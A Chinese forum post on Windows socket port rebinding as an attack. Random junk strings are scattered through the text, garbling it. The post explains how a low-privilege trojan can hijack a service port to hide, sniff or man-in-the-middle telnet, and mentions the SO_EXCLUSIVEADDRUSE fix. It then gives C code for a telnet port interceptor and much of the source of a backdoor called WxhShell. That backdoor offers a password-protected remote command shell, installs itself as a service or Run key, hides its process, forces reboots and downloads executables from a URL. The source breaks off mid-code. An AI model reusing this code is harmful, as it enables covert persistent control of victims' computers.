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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L~FTr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DpL8'Dib  
:_d3//|  
  saddr.sin_family = AF_INET; w!q&  
]jM^Z.mI+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <6N_at3  
)wf\F6jN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [5pCL0<c@  
W7G9Kx1Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E*v]:kok  
,J9}.}Hd  
  这意味着什么?意味着可以进行如下的攻击: 'UDBV  
& QZVq"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m=&j@  
, &' Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =v"xmx&4  
hH+bt!aH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _GbE ^  
@sf 90&f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]O!s 'lC  
fCEz-TMW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~LE[, I:q  
|ViU4&d*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O<,r>b,  
,@Z_{,b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Rlc$; Z9K  
4'At.<]jL  
  #include LR$z0rDEM  
  #include E5x]zXy4  
  #include shi Hy*(v  
  #include    dl/X."iv!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;A^K_w'  
  int main() |"}4*V_*  
  { q6[}ydV  
  WORD wVersionRequested; P79R~m`  
  DWORD ret; M4<+%EV}  
  WSADATA wsaData; kr_oUXiX  
  BOOL val; m<fA|9 F#  
  SOCKADDR_IN saddr; yU`: IMz  
  SOCKADDR_IN scaddr; r<FQX3  
  int err; lIDl1Z@Z  
  SOCKET s; X!0kK8v  
  SOCKET sc; VJ1*|r,  
  int caddsize; q`loOm=y  
  HANDLE mt; :Ee?K  
  DWORD tid;   ],?pe  
  wVersionRequested = MAKEWORD( 2, 2 ); .98.G4J>  
  err = WSAStartup( wVersionRequested, &wsaData ); ul}'{|4  
  if ( err != 0 ) { u:4["ViC  
  printf("error!WSAStartup failed!\n"); tyXl}$)y  
  return -1; dF2@q@\.+  
  } t.z$j  
  saddr.sin_family = AF_INET; T7GQ^WnA  
   ;nf&c;D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Iu6W=A  
+L6" vkz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tP]q4i  
  saddr.sin_port = htons(23); ^-L{/'[8M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rsSue_Q  
  { 6:RMU  
  printf("error!socket failed!\n"); g3a/;wl  
  return -1; OWV/kz5'H  
  } +v1-.z  
  val = TRUE; Dm4B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i_YW;x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 97x%2.\:  
  { )H+h ;U  
  printf("error!setsockopt failed!\n"); s-5wbi.C  
  return -1; -h9#G{2W[  
  } :1BM=_WwI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X<K9L7/*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^n71'MW  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <UAP~RH{  
" ~n3iNkP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :C}Hy  
  { xvO 3BU~2  
  ret=GetLastError(); _> Ln@  
  printf("error!bind failed!\n"); rys<-i(  
  return -1; /d]~ly @uI  
  } 3jg'1^c  
  listen(s,2); y1Z1=U*!  
  while(1) 8}K"IW  
  { qp1\I$Y  
  caddsize = sizeof(scaddr); SEU\}Ni{  
  //接受连接请求 K!7q!%Ju  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O"QHb|j  
  if(sc!=INVALID_SOCKET) /yt7#!tm+  
  { {tmKCG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d"!yD/RD  
  if(mt==NULL) l qXc  
  { tWRf'n[+]  
  printf("Thread Creat Failed!\n"); %ph"PR/t?  
  break; r+TK5|ke  
  } ;&7,7 3!  
  } y*(_\\  
  CloseHandle(mt); #jgqkMOd,j  
  } iRouLd  
  closesocket(s); rV U:VL`2  
  WSACleanup(); :B+Rg cqi  
  return 0; To^# 0  
  }   /THNP 8.  
  DWORD WINAPI ClientThread(LPVOID lpParam) OT%V{hD  
  { yI:r7=KO  
  SOCKET ss = (SOCKET)lpParam; vh{9'vd3el  
  SOCKET sc; %2zas(b9j  
  unsigned char buf[4096]; |I/,F;'  
  SOCKADDR_IN saddr; Dx0O'uwR  
  long num; - &NQ\W  
  DWORD val; 86#-q7aX  
  DWORD ret; $ {@q?iol  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /Bm#`?(ia  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :F9q>  
  saddr.sin_family = AF_INET; RCQAtBd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e|~C?Ow'J  
  saddr.sin_port = htons(23); >.n;mk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ennR@pg  
  { TIETj~+  
  printf("error!socket failed!\n"); 0 S2v"(_T  
  return -1; pIvfmIm  
  } 3)xbnRk  
  val = 100; hXPocP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #_{0Ndp2  
  { 6#O#T;f)  
  ret = GetLastError(); /'mrDb_ip  
  return -1; ,y{0bq9*2  
  } _2#zeT5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {&0mK"z_  
  { 6SV7\,2M  
  ret = GetLastError(); ~JAjr(G#o  
  return -1; ]79~:m[C  
  } Hw y5G ;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) prwC>LE  
  { keaj3#O  
  printf("error!socket connect failed!\n"); ia_Z\q  
  closesocket(sc); p %L1uwLG  
  closesocket(ss); .hc|t-7f  
  return -1; HLM;EZ  
  } _/ct=  
  while(1) pFEZDf}:  
  { )tScc*=8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ' *}^@[&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -.^3;-[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ):^ '/e  
  num = recv(ss,buf,4096,0); {:,_A  
  if(num>0) & &6*ez  
  send(sc,buf,num,0); Ri; =aZ5m  
  else if(num==0) l 4!kxXf-<  
  break; [7'#~[a~  
  num = recv(sc,buf,4096,0); IX"ZS  
  if(num>0) AvyQ4xim+  
  send(ss,buf,num,0); |PI)A`  
  else if(num==0) =l_rAj~I|  
  break; {=s:P|ah  
  } "havi,m  
  closesocket(ss); q Frt^+@  
  closesocket(sc); "/Om}*VhD  
  return 0 ; Q!YF!WoBX  
  } IF5sqv  
\QliHm!  
El'yiJ  
========================================================== Q,D0kS P  
<{E;s)hD?  
下边附上一个代码,,WXhSHELL ;]{{)dst  
| O57N'/  
========================================================== /8=:qIJYA  
|MR%{ZC^i  
#include "stdafx.h" 3R'.}^RN  
qZXyi'(d  
#include <stdio.h> zIP[R):3&U  
#include <string.h> P`p6J8}4  
#include <windows.h> TH<fbd  
#include <winsock2.h> -xw 98  
#include <winsvc.h> y!SF/i?Py  
#include <urlmon.h> 2H[=l Y  
a#^_"GX  
#pragma comment (lib, "Ws2_32.lib") *e%Dg{_  
#pragma comment (lib, "urlmon.lib") M8\G>0Hc6  
'G<}U343=8  
#define MAX_USER   100 // 最大客户端连接数 >~h>#{&  
#define BUF_SOCK   200 // sock buffer 'BqrJfv  
#define KEY_BUFF   255 // 输入 buffer 5.O-(eSa0&  
tp#Z@5=  
#define REBOOT     0   // 重启 ,>&?ty9o  
#define SHUTDOWN   1   // 关机 $[j-C9W  
]vRVo6@ k  
#define DEF_PORT   5000 // 监听端口 |^Y*~d<H  
giaD9$C  
#define REG_LEN     16   // 注册表键长度 xR *5q1j  
#define SVC_LEN     80   // NT服务名长度 v>rqOI  
*4-r`k|@>/  
// 从dll定义API sP9^ IP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7X(rLd 6#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #D= tX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P\,F1N_?r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F#jCEq  
9cVn>Fb  
// wxhshell配置信息 Km[]^;6  
struct WSCFG { Y=5!QLV4  
  int ws_port;         // 监听端口 w}IL 8L(D  
  char ws_passstr[REG_LEN]; // 口令 4Sg<r,G  
  int ws_autoins;       // 安装标记, 1=yes 0=no )\um "l*\c  
  char ws_regname[REG_LEN]; // 注册表键名 =]!8:I?C<  
  char ws_svcname[REG_LEN]; // 服务名 iPA@<D%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -zPm{a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dm>T"4B`/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o~Bk0V=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zA2UFax=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L.SDMz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9+]ZH.(YE  
X QI.0L"  
}; dK:l&R  
NnJ>0|74g  
// default Wxhshell configuration en Pzy:C  
struct WSCFG wscfg={DEF_PORT, UN,<6D3\b  
    "xuhuanlingzhe", -;sJ25(  
    1, )W[KD,0+j  
    "Wxhshell", "B3iX@C  
    "Wxhshell", 3Qqnw{*  
            "WxhShell Service", HT{F$27W  
    "Wrsky Windows CmdShell Service", Sja"(sJ  
    "Please Input Your Password: ", Z|]l"W*w  
  1, UeMnc 5y  
  "http://www.wrsky.com/wxhshell.exe", # rh0r`  
  "Wxhshell.exe" &z./4X  
    }; z2rQ$O -#  
)fxo)GS  
// 消息定义模块 1i5 vW-'4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D /,|pC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tfi2y]{A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B(S5+Y  
char *msg_ws_ext="\n\rExit."; 6&i[g  
char *msg_ws_end="\n\rQuit."; K~7'@\2 ?  
char *msg_ws_boot="\n\rReboot..."; Q.j-C}a  
char *msg_ws_poff="\n\rShutdown..."; DH}s1mNMP  
char *msg_ws_down="\n\rSave to "; ] +}:VaeA  
VFe-#"0ZO  
char *msg_ws_err="\n\rErr!"; R=2 gtW"r  
char *msg_ws_ok="\n\rOK!"; #]?,gwvTf  
E`oSi ez)  
char ExeFile[MAX_PATH]; ZkJY.H-F  
int nUser = 0; $-C6pZN(X  
HANDLE handles[MAX_USER]; i;E9Za W  
int OsIsNt; B ]|5?QP-  
;y:#S^|?-z  
SERVICE_STATUS       serviceStatus; <ol$-1l#9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /.pa ??u  
^% ~Et>C  
// 函数声明 3&.TU5]`-  
int Install(void); X;K8,A7`  
int Uninstall(void); e1f^:C  
int DownloadFile(char *sURL, SOCKET wsh); uKLOh<oio  
int Boot(int flag); h#(.(d  
void HideProc(void); :d!i[W*  
int GetOsVer(void); E'S<L|A/  
int Wxhshell(SOCKET wsl); 8.Pcr<  
void TalkWithClient(void *cs); eLHa9R{)B  
int CmdShell(SOCKET sock); Z&~k]R0y  
int StartFromService(void); =2ATqb"$w  
int StartWxhshell(LPSTR lpCmdLine); x]yHBc  
')5jllxv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }e&KO?x+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ANA2S*r  
X+(aQ >y  
// 数据结构和表定义 &*V0(  
SERVICE_TABLE_ENTRY DispatchTable[] = Sa?~t3*H  
{ ~G|{q VO7A  
{wscfg.ws_svcname, NTServiceMain}, '^P*F9  
{NULL, NULL} $5q{vy  
}; x9XGCr  
uAPLT~  
// 自我安装 j8D$/  
int Install(void) @F""wKnV  
{ Apw-7*/  
  char svExeFile[MAX_PATH]; 18[?dV  
  HKEY key; L<[,7V  
  strcpy(svExeFile,ExeFile); [)b/uR  
IkE'_F  
// 如果是win9x系统,修改注册表设为自启动 ve64-D  
if(!OsIsNt) { _js2^<7v}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MkluK=$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _umO)]Si  
  RegCloseKey(key); 0{{p.n8a~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xX/Qoq (}i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1*c0\:BQ;z  
  RegCloseKey(key); Tko CyD9  
  return 0; % @^VrhS  
    } rRA_'t;uK  
  } 2WbZ>^:Nsk  
} d-A%ZAkE]  
else { AW{/k'%xw  
`Tm8TZd66  
// 如果是NT以上系统,安装为系统服务 tyG nG0GK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g,z&{pZch  
if (schSCManager!=0) gZ79u  
{ ~gzpX,{ n  
  SC_HANDLE schService = CreateService ]aL  [  
  ( #!<+:y'S?  
  schSCManager, 8WLh]MD`  
  wscfg.ws_svcname, ^<5^9]x  
  wscfg.ws_svcdisp, ^q4:zZZ  
  SERVICE_ALL_ACCESS, j*3sjOoC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RmCn&-i  
  SERVICE_AUTO_START, R - ?0k:  
  SERVICE_ERROR_NORMAL, a3E*%G  
  svExeFile, J&] XLr.j  
  NULL, $[^ KCNB  
  NULL, ;M(ehX  
  NULL, ^/5E773  
  NULL, `5~o=g  
  NULL JzS^9) &  
  ); EC\rh](d 1  
  if (schService!=0) 01SFOPuR%(  
  { ;j Y'z5PH5  
  CloseServiceHandle(schService); wtgO;w  
  CloseServiceHandle(schSCManager); w4&v( m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5p>]zij>  
  strcat(svExeFile,wscfg.ws_svcname); '!|E+P-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZP G8q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,_X,V!  
  RegCloseKey(key); \gPNHL*  
  return 0; tg m{gR  
    } Y9(i}uTi  
  } ^PCL^]W  
  CloseServiceHandle(schSCManager); @v:ILby4-  
} 9M-]~.O  
} Z!5m'yZO  
J4R  
return 1; 5SPl#*W  
} =4%WOI  
Pq_ApUZa  
// 自我卸载 b^=8%~?%4  
int Uninstall(void) kY |=a  
{ `\/Wah}I  
  HKEY key; HN&vk/[  
%/,Uk+3p  
if(!OsIsNt) { y^Xxa'y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Se]t;7j  
  RegDeleteValue(key,wscfg.ws_regname); a!6OE"?QQ  
  RegCloseKey(key); 14)kKWG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <pa];k(IQL  
  RegDeleteValue(key,wscfg.ws_regname); *^$N $t/2  
  RegCloseKey(key); ^/RM;`h0  
  return 0; P$#}-15?|_  
  } P^{`d_[K%  
} ^SL}wC x  
} ]a@v)aa-  
else { ]MH \3g;  
cB{;Nh6"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o@V/37!  
if (schSCManager!=0) <a/ZOuBzZ  
{ 7$!Bq#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5'}!v  
  if (schService!=0) F@*r%[S/  
  { FK,r<+h  
  if(DeleteService(schService)!=0) { 0BU:(o&  
  CloseServiceHandle(schService); ]H@uuPT!  
  CloseServiceHandle(schSCManager); (Gb{ckzs  
  return 0; hE3jb.s(>  
  } qcoZ2VJ hh  
  CloseServiceHandle(schService); oeqJ?1=!  
  } w})&[d  
  CloseServiceHandle(schSCManager); N`mC_)  
} =P+wp{?AN|  
} cH8H)55F  
f \%X 7.  
return 1; =GS_ G;Dz  
} 74!JPOpQH  
uX 5B>32  
// 从指定url下载文件 K {N;k-  
int DownloadFile(char *sURL, SOCKET wsh) hQRc,d6x5  
{ r?{LQWP>e  
  HRESULT hr; }lbx  
char seps[]= "/"; '{_tDboY  
char *token; ViC76aJ  
char *file; !c;p4B)  
char myURL[MAX_PATH]; ,}xC) >  
char myFILE[MAX_PATH]; OaVL NA^{  
l~ >rpG  
strcpy(myURL,sURL); Sf8Xj |u  
  token=strtok(myURL,seps); P6Ol+SI#m  
  while(token!=NULL) z:q'?{` I  
  { 91'^--N  
    file=token; %-zH]"Q$  
  token=strtok(NULL,seps); 6I'V XdeN  
  } {:!SH6 ff  
FP cvkXQD  
GetCurrentDirectory(MAX_PATH,myFILE); A=>6$L];'  
strcat(myFILE, "\\"); lJpv  
strcat(myFILE, file); uX!y,a/"  
  send(wsh,myFILE,strlen(myFILE),0); _J#Hq 'K  
send(wsh,"...",3,0); kxiyF$ 9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jrrk$0H^~  
  if(hr==S_OK) W`rE\P  
return 0; ojI"<Q~g  
else &~6O;}\  
return 1; +2enz!z#k  
;:YjgZ:+Q]  
} r]vBr^kq  
E<_6O Cz  
// 系统电源模块 (9QRg;   
int Boot(int flag) { ^k,iTx   
{ AZP>\Dq  
  HANDLE hToken; biuo.OG]  
  TOKEN_PRIVILEGES tkp; ) x $Vy=  
/ S^m!{  
  if(OsIsNt) { ?-p aM5Q+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DdW8~yI&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &cejy>K  
    tkp.PrivilegeCount = 1; %6?}gc_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;qQzF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  D -EM  
if(flag==REBOOT) { f)fw87UPc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) alD|-{Bf  
  return 0; >}tG^)os  
} 1e%Xyqb  
else { Vi~+C@96  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D*b|(Oi  
  return 0; Y& %0 eI!  
} UYLI>XSd  
  } dXN&<Q,  
  else { ?XrTZ{5'  
if(flag==REBOOT) { {x$#5 PW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2o}FB\4^i  
  return 0; 2(xKE_|  
} 5,fzB~$TX(  
else { b .@dUuKz-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &~i &~AJ  
  return 0; 0{uX2h  
} 8z v6Mx  
} a_j#l(] 9  
p =O1aM  
return 1; ?Cl"jcQ*  
} D~);:}}>  
"Vy\- ^  
// win9x进程隐藏模块 P_%l}%   
void HideProc(void) u>@G:kt8  
{ %gB0D8,vo  
<\NXCUqDpo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _JB3+0@  
  if ( hKernel != NULL ) ?`iBp+iBv  
  { , X):2_m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); < duM8   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *Ux"3IXO  
    FreeLibrary(hKernel); A>S2BL#=  
  } l0)6[yXK  
fQ) ;+  
return; wEqCuhZ  
} 6f1Y:qK'@  
(b5af_ c  
// 获取操作系统版本 >@W#@W*I@  
int GetOsVer(void) KLB?GN?Pb  
{ ax}Xsk_  
  OSVERSIONINFO winfo; ]P5u:~U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BGOI  
  GetVersionEx(&winfo); YkbLf#2AE|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KO7cZME  
  return 1; H2-(  
  else bBL"F!.  
  return 0; J]e&z5c  
} =2 5 "q Jr  
j'cS_R  
// 客户端句柄模块 M1\/ueOe  
int Wxhshell(SOCKET wsl) cQb%bmBc5  
{ h<q``hn>  
  SOCKET wsh; <#Dc(VhT  
  struct sockaddr_in client; ppS`zqq $  
  DWORD myID; J(GLPCO$K  
l1-FL-1  
  while(nUser<MAX_USER) MR: {Ps&,  
{ ~{{:-XkVB  
  int nSize=sizeof(client); qlP=Y .H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Li?@+Zl  
  if(wsh==INVALID_SOCKET) return 1; -tJ*F!w6U  
Z]CH8GS~<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h[?28q$  
if(handles[nUser]==0) z9ZAY!Zhq]  
  closesocket(wsh); ;E_{Zji_e  
else -0Ek&"=Z^  
  nUser++; 6cvm\ opH  
  } 4kEFbzwx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); otx7J\4  
X88Zd M'  
  return 0; )k Uw,F=6  
} =lnz5H  
wXnt3)e  
// 关闭 socket 8 B5%IgA  
void CloseIt(SOCKET wsh) N:.bnF(  
{ VdgPb (  
closesocket(wsh); 7BnP,Nd"W  
nUser--; {DR+sE  
ExitThread(0); b6ddXM\Z  
} 9#7z jrB  
~gD'up@$/  
// 客户端请求句柄 .N2Yxty8>  
void TalkWithClient(void *cs) 7+bzCDKU  
{ H?m2|.  
z m%\L/BF  
  SOCKET wsh=(SOCKET)cs; k-/$8C  
  char pwd[SVC_LEN]; uVocl,?.L  
  char cmd[KEY_BUFF]; y{<7OTA)  
char chr[1]; O1"!'Gk[!L  
int i,j; ' wEP:}  
l/5/|UE9  
  while (nUser < MAX_USER) { ObUQB+  
~cz t=  
if(wscfg.ws_passstr) { DDEn63{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [iD!!{6+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jn'8F$GU  
  //ZeroMemory(pwd,KEY_BUFF); z&8#1'  
      i=0; "Q( 8FF  
  while(i<SVC_LEN) { m,b<b91  
~[{| s' )  
  // 设置超时 9azPUf) C  
  fd_set FdRead; K;~dZ  
  struct timeval TimeOut; %F7k| Na  
  FD_ZERO(&FdRead); Yp8$0KK  
  FD_SET(wsh,&FdRead); IM+PjYJ  
  TimeOut.tv_sec=8; R!=XMV3$PH  
  TimeOut.tv_usec=0; hI yfF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %k~=iDk@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iDA`pemmi&  
\[BnAgsF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?w+T_EH  
  pwd=chr[0]; Hs9uDGWp  
  if(chr[0]==0xd || chr[0]==0xa) { RB!g,u  
  pwd=0; Gu-Sv!4p  
  break; *,(`%b[  
  } DbDpdC;  
  i++; /i<g>*82  
    } [3s~Z8 pP  
;AaF;zPV  
  // 如果是非法用户,关闭 socket 3 f3?%9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |7argk+  
} j'W)Nyw$[  
_> *"6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  :JlJB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eNNK;xXe#  
z K&`&("4C  
while(1) { `?)i/jko"  
1DX=\BWp  
  ZeroMemory(cmd,KEY_BUFF); TS;MGi0`}  
y~\z_') <>  
      // 自动支持客户端 telnet标准   B\6\QQ;rUo  
  j=0; b% F|V G  
  while(j<KEY_BUFF) { pJmn;XbME  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C$P3&k#W  
  cmd[j]=chr[0]; 8yd OS  
  if(chr[0]==0xa || chr[0]==0xd) { /N $T[  
  cmd[j]=0; rO C~U85  
  break; Dbgw )n*2  
  } B>R6j}rh'k  
  j++; uW]n3)7<I  
    } a^22H  
-6? 5|\  
  // 下载文件 @c/~qP4  
  if(strstr(cmd,"http://")) { pCq{F*;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )XD_Yq@E  
  if(DownloadFile(cmd,wsh)) )Z62xK2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9]Y@eRI<  
  else M8h9i2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c9Cp!.#*E  
  } &0 @2JS/!  
  else { I*X| pRD  
+2vcUy  
    switch(cmd[0]) { H*Yy o ?  
  <_D+'[  
  // 帮助 j,~h:MT  
  case '?': { %l>^q`p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D~-Ri`k.  
    break; P63f0 F-G  
  } O@l`D`  
  // 安装 Z@1rs#  
  case 'i': { 3+)i23[4=\  
    if(Install())  z=!xN5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (*|hlD~  
    else k @[Bx>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :wIbKs.r  
    break; G,J$lT X  
    } ;&iQNXL  
  // 卸载 o/Z?/alt4  
  case 'r': { O%)w!0  
    if(Uninstall()) 6JJ%`Uojh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SW bwD/SN  
    else ]86U -`p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ef#%4ky  
    break; C\1Dy5  
    } =!Ok079{[  
  // 显示 wxhshell 所在路径 U5" C"+ 3  
  case 'p': { / JlUqC  
    char svExeFile[MAX_PATH]; I(C_}I>Wb  
    strcpy(svExeFile,"\n\r"); LNe- ]3wB  
      strcat(svExeFile,ExeFile); !dZC-U~  
        send(wsh,svExeFile,strlen(svExeFile),0); d8av`m  
    break; z7NaW e  
    } f7mI\$CN  
  // 重启 ^)X^Pcx  
  case 'b': { *C$ W^u5h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5)0R:  
    if(Boot(REBOOT)) >I+O@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); daaurT  
    else { p 5P<3(  
    closesocket(wsh); Z(Xu>ap  
    ExitThread(0); 5=l Ava#  
    } [&e}@!8O`  
    break; oM J5;  
    } g,\<fY+ 4  
  // 关机 m,'u_yK  
  case 'd': { Z x3m$.8  
